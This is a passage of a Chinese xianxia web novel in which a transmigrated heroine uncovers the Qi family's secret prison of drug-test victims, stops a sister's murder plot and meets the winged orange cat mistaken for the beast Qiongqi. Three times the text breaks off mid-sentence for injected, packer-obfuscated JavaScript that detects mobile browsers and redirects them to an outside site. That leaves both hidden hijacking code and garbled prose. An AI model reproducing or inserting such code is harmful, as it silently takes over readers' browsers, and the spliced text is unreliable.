舒凫偷偷斜眼觑她,却见她目光清明,全无一丝厉鬼特有的暴戾怨毒之色。 一望无尽的黑暗中,白衣少女平静地直视前方,仿佛除了脚下这一条路,天地万物都不在她眼中。 她忽然换了个话题:“八年前,我第一次来到青城。” 舒凫听出这是刚才那个被人打断的故事,没吭声,屏息等待下文。 “我不是一个人来的。” 田馨难得一本正经地说起普通话,语气中带有一点朦胧的缅怀,“那时候我生了一场大病,回天乏术,后事都交代好了。他……不信邪,想找仙人救我,一路上到处求仙问药,就这样找上了齐家。” “当时齐家老爷、大少爷都在闭关,三少爷收留了我们,用一粒仙丹吊住了我半口气。” “那仙丹不是白给的。三少爷对他说,想让我长命百岁,就要替齐家做一件事。” ——“他”是谁?穷奇?田馨的男朋友? 舒凫心中狐疑,按捺着没有打断。 按时间推算,当时的齐家族长还是齐玉轩他爷爷,“大少爷”想必就是齐玉轩他爹。这位“三少爷”,也就是如今的齐三爷,自然便是齐玉轩的叔父,齐新蕾姐妹背后的靠山老爹了。 齐氏族长一脉醉心剑道,不问俗务,一年三百六十天都在闭关。这偌大的齐家,只怕早已成了齐三爷的天下。 “后来呢?” 白恬涩声问道,心中多少已经猜到了真相,“他……穷奇为了救你,帮齐三爷杀人吗?” “不是杀人,是抓人。” 田馨纠正道,“齐三爷需要活人,又不想让人发现,所以伪装成‘妖兽吃人’的样子。后来他们谈崩了,就把我撕票咯。” 说到这里,她忽然开怀地咧嘴一笑:“嗨,幸好我死啦。我活着的时候,整天昏昏沉沉,就是个拖油瓶,一点忙都帮不上。齐三爷把我当人质,我心里干着急,嘴上却一个字都说不出来。现在可好,我能说,能笑,还能飘!” “——这一次,轮到我去救他了。” 白恬:“……” 白少爷自小被父母捧在手心里,是一株没见过半点风雨的金贵娇花,被宠得又傻又白又甜,没有害人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310353|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思,也从未怀疑有人要害他。 如今,白家无微不至的保护裂了一道口子,他骤然窥见温室外头的凄风苦雨、龌龊腌臜,一时间有些适应不良,竟微微地发起抖来。 头脑中因为太久不用而生锈的齿轮,奇迹般地转动一格,让他多了个心眼。 他想:我这是被人算计了。 童家败落,齐家、姜家沆瀣一气,炙手可热,就算是六月飞雪的冤情,也会被蒸发成一缕青烟。 田馨无依无靠,唯有将各怀心思的小家族聚集起来,放一群恶犬围杀虎狼,才有那么一丁点希望。 舒凫也想通了这一点,暗中佩服这位田姑娘的用心。 她一个孤魂野鬼,也不知用了什么方法,对外放出“穷奇在藏木林”的消息,引来了这些年轻气盛、急于建功立业的世家子弟,让他们亲眼见证真相。 这样一来,即使她身死,也总会有人替她揭发。 只可惜,田馨机关算尽,却唯独没有算到——这些个鸡零狗碎的小家族,水平实在是太菜了! 恶犬倒是恶犬,却偏偏是一窝茶杯泰迪。 不幸中的万幸是,田馨也没有算到江雪声和柳如漪。 舒凫对这两人的来历一无所知,却无端对他们有种信任,相信他们一定能对付那些“好厉害的帮手”。 当然,事关姜若水的杀母之仇,她就算正面打不过,到时候趁乱偷个人头也是极好的。 不过…… ——“这一次,轮到我去救他”又是什么意思? ——当年受人利用的穷奇,不是已经死了吗? 难道说当年童家一战,穷奇并未身亡,而是再次落入齐三爷手里,至今仍在残害百姓,为祸一方? 那也太惨了吧。 一心想要保护的人早已不在世上,而穷奇就连这一点也不知道,只是重复着毫无意义的恶行,不断地积累罪孽。 难怪田馨死不瞑目…… 舒凫正在暗自揣度,忽然只听见田馨道: “到了。这些就是被‘穷奇’掳走的人,一个不少,都在这里,你们自己看吧。” “这……” 白恬猛地倒抽一口凉气。 在漫长的甬道尽头,呈现在他们眼前的,是一座方方正正的宽敞石室。石室中空无一物——没有物件,只有人,男女老少都有,一个个骨瘦如柴、神情呆滞,泥塑木雕似的瘫坐在墙根,乍一看都不像是活人。 但他们的确都还活着。 他们的胸膛还在起伏,眼睫还在颤动。即使被人像牲口一样圈养在这里,他们也依然都是活生生的人。 其中有一两个还有几分神智,听见人声,他们死气沉沉的眼睛里爆发出一簇骇人的光亮,像是黑夜中燃放的烟火。 “救命啊!大侠救命,仙人救……” 话音未落,走在舒凫身旁的江雪声忽然面色一沉,压低嗓音道:“噤声。” 他动手比动口更快,一扬手捏了个法诀,那几个欣喜若狂的囚徒顿时如遭重击,软绵绵地瘫倒下去。 江雪声面色不改,手上动作不停,反手抛出一道符咒贴在石室入口,指尖在虚空中轻轻一划。 刹那间,舒凫只觉得周遭空气为之一变,似乎有一面看不见的玻璃墙,将他们所在的甬道与石室隔开了。 一切布置妥当之后,江雪声方才气定神闲地开口:“有人来了。” 一干少年面面相觑,都被这突然变故吓出了一身冷汗。舒凫比他们强一些,大约只出了半身,还能大着胆子上前细看。 只见石室另一端的出口处,一道厚重的石门缓缓打开,两个身段窈窕的少女一前一后闪身而入。 其中一个穿着桃红衣裙,嗓门尖锐:“今天真晦气!买了一堆假货,又遇上一个不男不女的妖怪,一个凶巴巴的小贱人。等着瞧吧!总有一天,我要让他们都哭着向我道歉。对了小薇,这是什么地方?你带我来这里做什么?” 另一个身穿翠绿罗衫,语气温婉:“姐姐,这可是个好地方。这些都是爹爹抓来的恶人,养在这里试药用,你如果不痛快,可以打他们一顿出气。” 红衣少女疑惑道:“试药?我还是第一次听说,爹爹的别庄里有这么个地方。”旋即话音一转,“罢了,既然他们得罪爹爹,想必都不是什么好人,打死活该。我瞧他们没戴枷锁,不会暴起伤人吗?” 绿衫少女眼波流转,笑容越发明媚:“放心吧,姐姐。他们一关好些年,吃得还不如我们家养的猫儿狗儿,身体虚得很,姐姐一根手指就能对付他们。” 红衣少女拍手笑道:“那就好!小薇,还是你懂我!” “……” 舒凫瞳孔一缩,不可遏制地手痒起来。 这两个少女不是别人,正是今日刚打过照面的齐新蕾和齐雨薇! 13. 阋墙 舒凫长这么大,第一次切身体会到什么叫做“冤家路窄”。 尤其是这位齐新蕾——听个说书遇见她,买个首饰遇见她,如今有心来抄个家杀个人,居然还能遇见她! 有缘千里来相会,人生何处不相逢。 女主和恶毒女配之间,果然存在一种奇妙的磁场。 齐新蕾愚蠢肤浅,脑子还没有一个核桃大,显然对自己父亲的谋划一无所知,更不清楚这座石室的来历。倒是她那个八面玲珑的妹妹,表面上对姐姐百般逢迎,毫无主见,一双眼中却有狡狯的精光闪烁,一看就不是个简单人物。 舒凫心念电转间,身后的少年们已是一片哗然,错愕、心痛、不可思议的惊呼声此起彼伏。 “不可能!我的雨薇姑娘不可能如此狠毒,我不信!这一定是幻境!” 这是逃避现实的粉。 “这……齐新蕾小姐的脾气是火爆了点,但我没想到,她竟然会对奄奄一息的凡人动手……” 这是对爱豆深感幻灭的粉。 “唉,正可谓‘知人知面不知心’。平日里世家论交,齐家几位小姐都是优雅大方,仪态不凡,想不到私下里还有这样一面。” 这是理智粉。 “你们说什么呢?不就是几个凡人而已,凡人命贱如蝼蚁,齐小姐打了就打了!” 这是脑残粉。 舒凫二话不说,手中孤光倒转半圈,剑柄向后重重一推,正好撞在那脑残粉的门牙位置,当场就让他“嗷”地一声捂着嘴跪了下去。 “牙都没换完的小崽子,也好意思轻贱凡人。” 她嗤笑一声,也不理会身后怨毒的视线,快步走近袖手旁观的江雪声和柳如漪身旁,低声道:“情况不对。” “哦?有何不对?” 柳如漪饶有兴味地挑起一道眉毛。 舒凫整理了一下思绪,尽可能简明扼要地解释道:“听齐新蕾的意思,她从未见过这座密室,多半也从未听她父亲——齐三爷提起过穷奇之事。依我看,多半是齐三爷觉得这个女儿太蠢,不堪大用,所以策划阴谋之际都将她排除在外,免得坏事。” 听到此处,柳如漪忍俊不禁,江雪声仍是如往常一般面沉如水,唯有低垂的长睫微微一动:“道友,你接着说。” 舒凫向他略一点头,接着侃侃而谈:“至于这个齐雨薇,她知晓密室所在,又说这些人是用于‘试药’,显然对齐三爷的作为略知一二。既然如此,她也应该知道,自己的姐姐是个傻的,将她带入密室有百害而无一利。” “那么,她为什么还要带姐姐进来?就为了帮姐姐出气?要说她们姐妹情深,我看也不太像吧。” “如果我没记错的话,在茶楼中也好,现在也好,都是齐新蕾飞扬跋扈,齐雨薇随声附和,处处逢迎。名义上是姐妹,其实姐姐像大小姐,妹妹就像个舔……对不起,就像个大丫鬟。如今看来,分明是齐雨薇更受父亲信任,她有什么必要讨好姐姐?” “这个我知道。” 白恬好不容易从方才的打击中回过神来,下意识地接了一句,“听说齐三爷早年风流,齐雨薇是他与一名凡人女子所生。后来那女子病逝,三夫人才将齐雨薇接过去,和齐新蕾一起教养。三夫人性情暴戾,听说对齐雨薇……不是很好。” “……” 舒凫无话可说。在这个世界观里,是不是每个事业有成的中年男人,都要有一两个私生子? 同为私生子,姜宝珠是父母的掌上明珠,齐雨薇却是三夫人的眼中钉、肉中刺,两人的处境可谓天差地别。姜若水和齐新蕾这两位“大小姐”,也被养育成了截然相反的性格。 没妈的孩子像根草,歌里唱的都是真的。 舒凫并不在意齐小姐是宝还是草,她的注意力放在其他地方:“照白公子这么说,如果齐雨薇对姐姐心怀嫉恨,也没什么好奇怪的吧?” 白恬的三观早已被打碎后重塑一番,这会儿也不再逃避,直截了当地回答道:“正是。不如说,我认为她的确对姐姐心怀怨恨。” 女鬼田馨跟着点头:“我也觉得!” 舒凫转向江雪声:“道友。” “你想的不错。” 江雪声点点头,肯定了她的推测,“这两人刚一进入石室,我就闻到了一股极其独特的香味。” “香味?” “催.情香的味道。” 舒凫:“噗——————” “不是,她几个意思?!” 这次她是真的一口水喷出三丈,一口气好险卡在胸中没上来,“她,齐雨薇?她想让她姐姐……和这些被抓的百姓???” 救命啊,《弱水三千》的原著虽然雷云滚滚,但它至少不会被扫黄,是个连一丁点车尾气都没有的环保清水文啊! 怎么她一穿来,什么双修,什么元阳,还有什么香,各种少儿不宜的词汇轮番上阵,整个文的画风都变了?再这样下去,就要被锁文了! 难道是—— 因为她内心比较黄,所以原著的画风都被她这个女主带跑了??? 不应该啊!!! “舒姑娘,你不必惊慌。” 柳如漪早已无声地笑弯了腰,好一会儿才抬起头来给她解释,“这种香的确催.情,不过催的是‘七情六欲’的情。比如这些百姓,他们对囚禁自己的恶人恨之入骨,被香味一催,就会被心中那一点怨恨控制,不顾一切地攻击齐新蕾,直至将她撕成碎片。” 舒凫:“呃……这不是更过分吗?” 只是不黄而已。 “啊!!” 仿佛在配合他们的讨论一般,屏障对面的石室中,齐新蕾忽然发出一声惊恐的尖叫:“你——你做什么?!” 只见她一手紧握长鞭,鞭子另一端被一个形容枯槁的男子抓在手里。鞭梢布满了尖锐的倒刺,鲜血顺着男人枯瘦的手腕淅淅沥沥往下流,他却浑不在意,仿佛早已不知道疼。 在他们周围,原本如同行尸走肉一般瘫软在地的百姓,也像是磕了大力丸一样缓缓站起身来,空洞无神的双眼中有红光一闪而过。 “你们,你们干什么?!滚开!!不要过来!!” 齐新蕾花容失色,奋力从男人手中抽回长鞭,反手一鞭子抽在一个满脸皱纹的老人头上,当场在老人额角留下一道血痕。 然而老人却浑然不觉,任由鲜血滴落,如同牵线木偶一样机械地向前迈步。 “试药”摧毁了他们的精神,却也彻底改造了他们的身体,让他们看似形销骨立,实则强韧非常,而且不惧疼痛,就像僵尸一样难缠。 齐新蕾转身欲跑,却发现一向对自己俯首帖耳的妹妹站在门外,一手按着机关,正在从容不迫地关闭石门。 她不敢置信:“小、小薇?你这是在……” “我在关门啊。” 齐雨薇抬头冲她一笑,婉转多情如同紫薇花,落在齐新蕾眼中却像恶鬼一样狰狞。 齐新蕾再也压抑不住内心的恐惧,尖叫道:“小薇,你这是什么意思?!不要开玩笑了!!” “姐姐,我从来不开玩笑。” 齐雨薇神态自若,抬起手轻轻一吹自己白嫩的指尖,“我自问天赋、容貌不下于你,才华更是胜过你千倍。谁让爹爹偏心,想把你嫁去凌霄城享福,让我一辈子替他做些见不得人的勾当呢?” “所以,只能劳烦姐姐在这里待一宿,死后再出来了。我一定帮你好好清理一番,教爹爹相信,你是悄悄尾随我进了石窟,又不慎被这些发狂的药人杀害。” “齐雨薇!!!!” …… “太过分了。” 舒凫看在眼中,忍不住一咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310354|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙关,再次重复了一遍自己刚才的评价。 “确实过分。” 柳如漪侧目道,“舒姑娘,你是觉得齐小姐罪不至死,想要救她一命吗?” “我不是这个意思。” 舒凫摇头,“我是想说,这些百姓如此虚弱,却还要被逼出最后一分生命力去和齐新蕾拼命,事后必然非死即伤。这样对待他们,不过分吗?” 她定一定神,压下嗓音中隐约的冷意:“凡人不是蝼蚁,也不是勾心斗角的工具。我以为,与其争论两位小姐孰是孰非,谁该死谁不该死,倒不如问一问‘百姓何辜’。” “——我得阻止这件事。” 然后,也不等旁人再说什么,她一纵身穿过屏障,孤光剑脱手而出,险之又险地撑住了那道厚重的石门。 “什么人?快救……” 齐新蕾一个“救”字尚未出口,舒凫已经一掌劈在她手腕上,夺过长鞭拗成两截,又顺手捞走了她的佩剑。 齐小姐四体不勤,修为和大脑一样贫瘠,这把剑挂在她身上,作用类似于一个长条状的超大型腰坠。 “滚一边去。” 舒凫头也不抬地道,“如果你再伤害百姓,下一次我就拗断你的胳膊。” “你疯了吗?!” 齐新蕾双目圆睁,气急败坏地叫骂道,“瞎了你的眼,明明是这些不知死活的东西先袭击我……等一下,你不就是白天那个小贱人吗!!” 舒凫:“……” 咔嚓。 下一秒,齐新蕾爆发出一阵难以名状的惨叫。 “啊啊啊啊啊我的手!!!你这个疯子!泼妇!我又没有伤害百姓,你折我的手做什么?!!” 舒凫托着她一条软绵绵的手臂,无辜地眨了眨眼睛:“你叫我‘贱人’,伤害了我的感情。难道我不是百姓吗?” “你——” “考虑到这属于精神伤害,我还给你打了个折,只是把你的胳膊扯脱臼而已。放心,回头找个正骨老师傅接一下,很轻松的。” 舒凫无心与她纠缠,齐新蕾段位太低,欺负起来也没什么意思。她行云流水的一套动作走完,扭头向柳如漪递个眼色,随手便将尖声呼痛的齐新蕾抛了过去。 同时,她自己一跃而上,游鱼似的穿过孤光撑开的那道门缝,一扬手揪住了正欲转身离去的齐雨薇。 “齐小姐留步。你这香太过伤身,先给大家解了吧。” 齐雨薇也是个狠角色,当下面色一寒,抽出一柄银光闪闪的细剑直取她面门:“多管闲事,找死!” 舒凫反手用齐新蕾的佩剑向上一架,只听见“铮”的一声清响,剑身相交处火花飞溅。 没有孤光加成,姜若水原本的修为、身手都与齐雨薇不相上下,谁也压不住谁。两人一来一往过了十几招,一时间陷于胶着。 与此同时,柳如漪一脸嫌弃地揪住齐新蕾衣领,而后者则拖着一条胳膊,张牙舞爪地拼命挣扎:“放开我!你这个娘娘腔,阴阳人,不男不女的怪物!我看见你就恶心!放开我,谁要你们救我,我宁死也不向你们低头……” 方才对柳如漪出言不逊的少年见状,壮着胆子挺身而出:“你一个大男人,欺负女孩子算什么本事?还不快放开她!” 柳如漪冷笑一声,刚要反唇相讥,一直隔岸观火的江雪声忽然开口道:“舒道友和如漪救了这位齐小姐,你让他们放手,是想自己保护她吗?” 少年一挺胸膛:“当然!” 那个铿锵有力的“然”字还没落地,江雪声袍袖一振,平地里忽然起了一阵怪风,不偏不倚将少年和齐新蕾凭空卷起,一同抛回到石室里疯狂的人群之中,四仰八叉地摔成一团。 江雪声薄唇抿起,露出一个让人不寒而栗的清润笑容。 他温声道:“好,现在你可以保护她了。” 14. 大黄 姜若水一看就是个勤快姑娘,根基扎实,招式和身法也练得有模有样。舒凫习惯这具身体后,自问在同辈人之间,就算不是什么天纵奇才,差不多也能横着走了。 姜家的纨绔后生,娇生惯养的齐大小姐,还有这一窝茶杯泰迪,基本上都能被她一只手吊起来打。 刚一和齐雨薇短兵相接,她立刻便意识到:这个乍一看文文静静的小姑娘,不光是心机深沉,动起手来也很有两把刷子。 这也难怪,齐新蕾是个“要嫁到凌霄城享福”的好命,修为低一些、身手差一些,那也没什么。反正到时候前呼后拥,别说打架,就连吃饭穿衣都用不着自己动手。 出嫁前她是齐小姐,出嫁后她是凌夫人,金尊玉贵,最不缺的就是替她咬人的狗。 身娇体软一点,搞不好还更方便讨郎君欢心。 但是,齐雨薇就完全不一样了。 虽然这是个架空世界,怪力乱神,实力为尊,嫡庶、长幼之类的讲究不像正史一样分明,但齐雨薇无依无靠,要出头实属难上加难。从小到大,即使她处处强过齐新蕾,也只能处处向姐姐低头,丝毫不敢争锋。 何以解忧?唯有学习。 所以齐雨薇很强。很能算计,也很能打。 在年轻一代的后生中,她和同样“唯有学习”的姜若水一样,算得上是个尖子。如果没闹出作弊之类的丑闻,考个清北复交……不对,四大宗门还是没问题的。 只可惜,最终她还是走了左道。 “你究竟是什么人?为什么要来多管闲事!” 眼看自己的计划功亏一篑,齐雨薇脸色煞白,一剑比一剑狠厉,“我和你往日无怨,近日无仇……” 舒凫:“朋友,你听说过童家吗?” 齐雨薇一怔,脸上所剩无几的血色消失殆尽。 “看来你知道。” 舒凫唇角一挑,趁着她这一瞬间的愣神,手中冰冷的剑锋已经贴上了少女颈项,“我准备好严刑逼供了,请吧。” 齐雨薇反应也很快,当即从袖中掏出一个巴掌大小的香炉:“香在这里,请姑娘放我一条生路。关于你想知道的事情,雨薇必定知无不言,言无不尽。” 舒凫:“……” 好一个能屈能伸的反派! “好吧,那我们就谈谈。” 舒凫小心谨慎地接过香炉,转向那些不知所措的世家子弟喊道:“劳驾,有没有人会用水系法术?快来滋一下,把这玩意儿给浇灭了。” 白恬自告奋勇:“我来。” 然后他就滋出了一股头发丝儿似的涓涓细流。 众人:“……” 舒凫深刻怀疑,如果在他手指上割一道口子,出血量还能比这个“水系法术”大上一点儿。 “不是,白公子,你到底行不行啊?” 她内心几乎是崩溃的,“你这是在救火,还是在输液啊?” 白恬额角冒汗:“水系法术我才刚开始学呢!还有,什么叫输液?” 舒凫觉得心好累。 她只好一边盯着白少爷一点点往外滋水,一边沉下脸转向齐雨薇,努力端出一副冷酷威严的派头,假装自己是一个没有感情的杀手。 “说吧,齐姑娘。关于这间密室,关于穷奇,你都知道些什么?” …… 齐雨薇交代的内情,与女鬼田馨的控诉相差无几。 只不过,在田馨的描述中,听上去像是一个缠绵悱恻的爱情故事;齐雨薇平铺直叙地一讲,所有滤镜和柔光褪去,真相如同一片光秃秃的嶙峋山石,没有草木遮掩,看上去几乎是丑陋的。 所谓的“穷奇”,的确是一只妖兽。 不知出于什么缘故,他自幼流落山间,恰好被孤儿田馨捡到,从此便对她十分亲近。一人一妖相依为命,浪迹天涯,倒也过得逍遥自在。 平日里妖兽捕猎,田馨就在山间采些草药,在市井间做些短工,还学了一口南腔北调的杂烩方言。 直至田馨十六岁那年,她忽然罹患重症,昏迷不醒,气息一天比一天衰弱下去。 那妖兽懵懵懂懂,听说人间有一种“仙人”可以点石成金、生死肉骨,便将奄奄一息的田馨背在身上,一路求仙问药,就这样一个猛子扎进了齐三爷的圈套里。 齐三爷要求他帮忙做一件事,以此交换治愈田馨的仙丹。 而这件事,自然就是从城中“请”回药人,将他们关在这座石室之中,用于试验丹药。 自此以后,妖兽负责在城中掳人,齐三爷和家中客卿在藏木林布下阵法,助他脱逃,再将现场伪装成“妖兽吃人”,让人误以为失踪者都进了穷奇的肚子。 事实上,他们一直都被关在不见天日的地底,遭受着漫无尽头的痛苦折磨。 妖兽天生灵智有缺,不通情理,不辨善恶,只听田馨再三叮嘱自己“不可杀人”,便一个劲儿磕磕绊绊地追问齐三爷: “你,不杀人?” 齐三爷笑容可掬:“自然不会。我只是邀请他们回来坐一坐,喝杯茶水罢了。” 然后妖兽就放心了。 …… “……” 舒凫沉吟数秒,客观点评,“这妖兽好像不太聪明的亚子。” 齐雨薇赔笑道:“他确实不太聪明,要不然也不会一直被父亲蒙在鼓里。父亲说,那妖兽是个一等一的傻……” “你怎么说话呢?!” 话音未落,田馨一阵风似的飘了过来,横眉怒目地痛骂道:“你个傻狍子,你全家都是傻狍子!大黄他还是个孩子!他好单纯一个娃,人话还没学利索呢,就被你们给祸祸了!” 舒凫一个激灵:“大黄?” 好好一个穷奇,怎么叫这个名字? “你、你又是谁?!” 饶是齐雨薇一向自恃胆大,冷不丁白日见鬼,也被吓得颜色一变,“藏木林的入口极其隐蔽,还有阵法护持,怎会被这么多人找到?” “……” 田馨幽幽扫她一眼,“因为八年前,你爹沿着这条密道进入藏木林,把我的尸体扔在了湖边。那林子里白骨遍地,却只有我一人化为厉鬼,也算是老天有眼吧。” “齐小姐,我死得好冤啊……” 最后这一句“好冤啊”说得气若游丝,百转千回,齐雨薇不由地打了个寒颤。 她定了定神,小心谨慎地试探道:“你,莫非就是……当年金钏儿要救的姑娘?” 舒凫又是一个激灵:“金什么?” 一个叫大黄,一个叫金钏儿,这画风相差也太大了吧?! 不能仗着穷奇是个傻狍子,就给他乱取外号啊! 田馨反应比她更大,当场冲上前去,伸出两只白森森的鬼爪撕扯齐雨薇:“我靠,你们还要脸不?你们打烂我的脑袋,抢我家的大黄,还有脸给他取名字,还叫什么‘金串儿’!太难听了!信不信我把你们肚肠掏出来,全都给串串咯!” 舒凫:“别别别,等一等,其实这个名字是曹老师取的,他们这属于抄袭……到底怎么回事?” “我说,我这就说。” 齐雨薇脖子上架着剑锋,又被暴走的田馨揪掉了一把头发,疼得眼泪直流,“那妖兽当年被父亲设计,大闹童家,和童瑶同归于尽。后来,他的尸体消失在一团烈火中,变成了一只毫发无伤的幼兽。” “幼兽?” “对,他没有记忆,就像刚出生的婴儿一样。父亲把他带回来,取名为‘金钏儿’,交给我喂养长大,说是凌霄城一位公子的意思,我们一定要好生照看……” 舒凫恍然大悟般“哦”了一声:“凌、霄、城。你们果然有靠山。” 这么说来,穷奇确实死而复生,至今仍在凌霄城和齐家掌控之下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310355|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田馨如此大费周章,不仅是为了给自己报仇,也是为了救出穷奇,让他获得解脱。 真是难为她了。 “不错,就是凌霄城。” 齐雨薇仿佛看到一线生机,连忙鸡啄米一样点头,“父亲一直想要依附他们,抓人试药也好,豢养穷奇也好,都是凌霄城授意他做的。我……我也只是听命行事,看管这座石窟。” 【——原来如此。】 忽然间,江雪声一如既往的淡泊语声在舒凫耳边响起。 他的嗓音澄澈,像是满室乌烟瘴气里注入了一道清流,令人顿感“如听仙乐耳暂明”。 舒凫转眼望去,只见江雪声神色与音色一般平淡,几乎是不带感情地道:【凤凰涅槃,浴火重生。看来我们没有找错。】 【凤凰?】 舒凫一下没反应过来,【你是说,穷奇是……】 “……” 江雪声隔着一地狼藉与她相望,目光中又浮现出了那种冷淡的悲悯。 他缓缓道:【那不是穷奇。】 【如果我所料不错,那是上古神鸟——“五凤”中鸿鹄一族的遗孤。我们这一行,就是为了带他回去。】 【此事隐秘,不便过早透露,实在对不起道友。】 舒凫只好苦笑:【没什么,我早就发现你们有事瞒我。大家萍水相逢,也不好交浅言深,这些我都明白。只是……】 根据她的常识,“穷奇”是一种形似老虎、背生双翼的妖兽,“鸿鹄”却是传说中的神鸟,据说是一种白色的凤凰,可能像大雁,也可能像天鹅。 除了都有翅膀之外,好像八竿子打不到一起去吧? 江雪声看出她的疑惑,很有耐心地解释了一句:【数百年前,鸿鹄一族的公主外出游历,与猫妖相恋,诞下的幼子便是一只背生双翼的猫,所以才会被人误认为“穷奇”。】 背生双翼的……猫? 天猫? 舒凫正在感慨“这个世界到底有没有正常妖怪”,忽然只觉得手腕一痛——齐雨薇趁她分神思索的一瞬间,冷不丁地向她脉门上扎了一根细针! 舒凫:“卧槽!” 这变故来得突然,她身边只有白恬、田馨两人,一个忙着滋水,一个气得头晕,仓促间根本来不及反应。 不过顷刻之间,舒凫手腕脱力,人也站立不稳,眼看着一道黑气沿血管向上攀爬,脑内以每秒300帧的速度闪过各种“壮士断腕”镜头,差点又被气吐了——她这么一个画风清奇的女主,竟然还是中了最老套的招数! 简直对不起她那些年看过的文! 柳如漪脸色一沉,厉声道:“齐姑娘,你找死么?” 说完人影一闪,一步越过横亘于他们之间的石室,伸手将舒凫抄在怀中,飞快地递了一枚药丸到她嘴里。 齐雨薇当然不会找死,她一得手便轻飘飘地退出数丈,不知从哪里摸出个哨子,压在唇边用力吹了一声。 哨声清亮如雁鸣,齐雨薇混合着惊惧与狂喜的嗓音却像夜枭,嘶哑而又尖利: “金钏儿,快来救我!!!” 就在下一刻,不等柳如漪伸手抓她,一道炫目的白光如同流星追月般直冲而来,与柳如漪挥袖放出的一道符咒撞了个正着。 田馨出离愤怒:“我×你大爷!你敢这样使唤大黄,我今天就叫你和我一起做鬼——” 至于舒凫,她甚至顾不上愤怒。 一方面是毒气上涌,她不得不强行按捺心绪;另一方面,是因为在白光散尽之后,她终于第一次清楚看见了“穷奇”的真容。 那是一只,通体金黄,背后长有一对雪白翅膀,看上去足有三十斤重的—— ——橘猫。 舒凫:“卧槽。” 她脑补了一路生死相许、虐恋情深,原来“穷奇”根本不是田馨的男朋友,而是她养的猫!!! 15. 大佬 舒凫忍不住怀疑,即使她的性格与原主截然相反,却还是继承了她衰运缠身、诸事不顺的悲剧命格。 她不知道自己中了个什么毒,药丸是不是管用,自然不敢大意,只好像一根棒槌似的,直挺挺地横躺在柳如漪臂弯里。后脑勺枕着温香软玉,内心却不禁悲从中来——可怜她两辈子第一次被这么漂亮的男人抱,却一点都顾不上脸红,因为她的脸已经被毒气熏黑了! 你妈的,为什么。 “得罪。” 柳如漪一手揽住她,顺势单膝落地,单手将凤首箜篌在膝上一架,五指一抹,闲闲拨出了一串大珠小珠似的清越琴音。 舒凫不得不承认,他不说不笑之际,认真迎敌的风姿十分优美。但转头一看,只见一人(齐雨薇)、一鬼(田馨)、一猫(大黄)大眼瞪小眼,构成了一个诡异的等边三角形,她又觉得这画面让人没法认真。 ——妈呀,她从未见过如此奇葩的修罗场! 话虽如此,但她能理解田馨的心情。 杀身之恨,夺猫之仇,生生世世,不共戴天。 必须的。 “大黄,你快回来!” 田馨扯开嗓门高喊道,“你忘了吗?当年我在山里捡到你,带着你走南闯北,每天三条小鱼干,省吃俭用把你喂胖了二十斤!你就算忘了我,也不能忘了你身上的肥肉啊!” 齐雨薇忙不迭地抢话:“金钏儿,别听她胡扯。你是我们齐家豢养的灵兽,从小在我身边长大,吃的是山珍海味,睡的是锦缎绫罗,哪有她说的这么寒酸?” 舒凫插嘴道:“既然你过得这么好,那你还意难平个屁啊?” 齐雨薇:“闭嘴!” 舒凫:“闭你老……算了,令堂无辜,闭你老父吧。你看看你,在外人面前摆小姐派头,在齐大小姐面前表演庶女苦情,一边享着齐家的风光,一边委屈自己不够风光,戏都让你一人唱全乎了。小丫头片子咋还有两副面孔呢?你累不累啊你?” 齐雨薇:“我叫你闭嘴!” 舒凫:“但是我拒绝。” 士可杀,小嘴不可不叭叭。来日九泉下,仍是顶天立地键盘侠。 “舒姑娘,你就少说两句吧。” 柳如漪一抿嘴角,“这‘大黄’虽然不太聪明,但他成长后能一夕覆灭童家,很有几分强悍。这会儿情况紧急,你可不好逗我笑。” 舒凫“哦”一声,老实地点点头,任由他将自己小心地平放在地上。她头颈偏向一侧,余光恰好瞥见不远处的江雪声,只见他神色平缓,一派闲散自如地垂手而立,半点看不出焦急。 【道友。】 她试着在意识中向他搭话,【柳道友说这橘……妖兽不好对付,你不助他一臂之力吗?】 江雪声只答了两个字:【不必。】 舒凫正要询问他此话怎讲,忽然只听见“嘭”地一声响,仿佛有人将一块五花肉重重摔到了砧板上。 她僵硬地转动脖颈看去,只一眼便愣住了——就在她挪开视线的一瞬间,那只三十斤重的橘猫已经被一股大力抛出,浮雕似的牢牢嵌在石壁上,砸出了一个猫形的坑。 柳如漪眼角一弯:“得罪。” 舒凫:“……” 这情况紧急在哪里? 橘猫刚照面就吃了这么一招,似乎被这些粗暴野蛮的两脚兽激怒,努力活动着自己胖胖的身躯,高昂起圆滚滚的猫猫头,发出了一声地动山摇的咆哮: “喵———————” 愤怒的橘猫从石壁上一跃而下,震得地面上沙石乱飞,紧接着一仰脖子喷出一口火焰:“喵呜!” 